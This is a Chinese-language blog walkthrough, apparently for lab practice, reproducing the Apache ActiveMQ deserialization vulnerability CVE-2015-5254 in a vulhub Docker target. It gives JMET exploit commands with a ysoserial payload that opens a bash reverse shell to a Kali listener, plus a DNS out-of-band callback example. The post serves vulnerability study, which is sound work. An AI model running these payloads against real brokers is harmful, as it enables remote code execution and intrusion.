docker之ActiveMQ 反序列化漏洞 (CVE-2015-5254)
漏洞简介
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞版本
Apache ActiveMQ 5.13.0之前5.x版本
环境条件
Ubuntu和kali
vmare虚拟机
GitHub官网的注册
注意:在使用虚拟机的时候虚拟机可以自动分配IP,尽可能联网,如果过发生错误可以在虚拟中的编辑——>虚拟网络编辑器———>更改设置选项——>直接进行还原默认设置即可;
连接的时使用如下
环境搭建
https://vulhub.org/#/docs/
环境搭建好之后
cd vulhub-master
cd activemq/CVE-2015-5254/
docker-compose build
docker-compose up -d
注意有时候会因为权限原因而报错,你需要在前面加上sudo,使用root权限来进行dockers的启动
ifconfig
查看自己的IP地址
访问http:你的IP地址:8161
kali
打开kali
mkdir opt
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
注意:echo 后面的使用的是base64编码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/kali IP/所要监听的端口号 0>&1 bese64编码" -Yp ROME 靶机的ip 61616
nc -lvvp 端口号
监听的端口号
工具
JMET(Java 消息利用工具)
$ java -jar target/jmet-0.1.0-all.jar
ERROR d.c.j.JMET [main] Misconfiguration: Missing required options: [-C Custom script exploitation mode, -Y Deser exploitation mode, -X XXE exploitation mode], [-T topic name, -Q queue name], I
usage: jmet [host] [port]
-C,--Custom <scriptname> Custom script exploitation mode
-f,--filter <scriptname> filter script
-I,--impl <arg> ActiveMQ| Artemis| WebSphereMQ| Qpid10|
Qpid09| HornetQ| SwiftMQ| RabbitMQ|
OpenMQ
-pw,--password <pass> password for authentication
-Q,--Queue <name> queue name
-s,--substitute Substituation mode: Use §§ to pass
ysoserial payload name to CMD
-T,--Topic <name> topic name
-u,--user <id> user for authentication
-v,--verbose Running verbose mode
-X,--XXE <URL> XXE exploitation mode
-Xp,--xxepayload <payloadname> Optional: XXE Payload to use EXTERNAL|
PARAMATER| DTD
-Y,--ysoserial <CMD> Deser exploitation mode
-Yp,--payload <payloadname> Optional: Ysoserial Payload to use
BeanShell1| CommonsBeanutils1|
CommonsCollections1|
CommonsCollections2|
CommonsCollections3|
CommonsCollections4|
CommonsCollections5| Groovy1|
Hibernate1| Hibernate2| Jdk7u21| JSON1|
ROME| Spring1| Spring2
-Zc,--channel <channel> channel name (only WebSphereMQ)
-Zq,--queuemanager <name> queue manager name (only WebSphereMQ)
-Zv,--vhost <name> vhost name (only AMQP-Brokers:
RabbitMQ|QPid09|QPid10)
创建用于执行“xterm”的小工具并将它们全部发送到队列“事件”。由于选择了实现 ActiveMQ,目标系统是“jmstarget”,侦听端口 61616
java -jar jmet-0.1.0-all.jar -Q 事件 -I ActiveMQ -Y xterm jmstarget 61616
要找出执行了哪个小工具,您可以使用带外通道(如 DNS)的“替换”模式。要将小工具名称传递给您的命令,请使用“§§”字符串,然后将其替换为小工具名称。
java -jar jmet-0.1.0-all.jar -Q 事件 -I ActiveMQ -s -Y " nslookup §§.yourdomain.com " jmstarget 61616
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构